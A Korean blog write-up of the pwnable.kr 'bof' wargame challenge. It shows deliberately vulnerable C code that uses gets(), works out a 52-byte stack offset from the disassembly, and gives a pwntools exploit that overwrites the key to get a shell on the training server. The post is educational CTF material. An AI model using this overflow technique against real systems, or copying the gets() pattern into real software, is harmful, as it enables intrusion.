문제: Nana가 버퍼오버플로우가 가장 흔한 취약점이라고 했어, 진짜야?
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
문제에서 주어진 코드를 보면 서버에서 gets로 사용자에게 입력 값을 입력받고 key가 0xcafebebe와 같으면 플래그를 출력한다. 따라서 key를 수정하기 위해서 버퍼오버플로우를 사용할 수 밖에 없다. 위 코드에서 사용된 gets 함수는 버퍼오버플로우 취약점이 있는 함수이며 절대 사용되어서는 안된다.
문제의 핵심은 두 부분이다. 첫 번째로 봐야할 코드는
0x00000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
다음 코드에서 우리는 key 값의 위치를 찾을 수 있다. func 어셈블리 코드에서 cmp는 하나밖에 없다. 따라서 if(key == 0xcafebabe) 부분이라는 것을 알 수 있다. 여기서 key는 ebp+0x8과 같다고 볼 수 있다.
두 번째로 봐야할 코드는 아래와 같다.
0x00000644 <+24>: call 0x645 <func+25>
0x00000649 <+29>: lea eax,[ebp-0x2c]
0x0000064c <+32>: mov DWORD PTR [esp],eax
0x0000064f <+35>: call 0x650 <func+36>
첫 번째 call은 printf 함수이고 두 번째 call은 gets 함수이다. 우리가 알아야 할 것은 gets(overflowme) 에서 사용자한테서 입력 값을 overflowme라는 변수에 저장하는데 그 곳의 주소 값을 알면 key와의 거리를 알 수 있어 버퍼오버플로우가 가능하다. 첫 번째와 두 번째 call 사이에 어셈블리어를 보면 overflowme 변수의 주소 값을 gets 함수에게 넘기기 위해 eax에 [ebp-0x2c]를 저장한다. 따라서 입력 값의 주소는 [ebp-0x2c], 수정해야 할 key 값의 주소는 [ebp+0x8], 거리는 0x8 - (-0x2c) = 0x34 -> 십진수로 나타내면 52만큼의 거리 차이가 난다.
#!/usr/bin/python
from pwn import *
context.log_level='debug'
r=remote("pwnable.kr",9000)
payload=b"A"*52+b"\xbe\xba\xfe\xca"
r.send(payload)
r.interactive()
위 코드는 익스플로잇 코드이다. 52개의 A를 보내고 뒤에 4바이트 크기의 0xcafebabe를 보냈다. 해당 4바이트는 key 값을 덮어씌워 쉘을 획득할 수 있다.
'시스템 해킹 > pwnable.kr' 카테고리의 다른 글
[Pwnable.kr] cmd1 (0) | 2021.04.21 |
---|---|
[Pwnable.kr] mistake (0) | 2021.04.21 |
[Pwnable.kr] flag (0) | 2021.04.19 |
[Pwnable.kr] collision (0) | 2021.04.19 |
[Pwnable.kr] fd (0) | 2021.03.24 |
댓글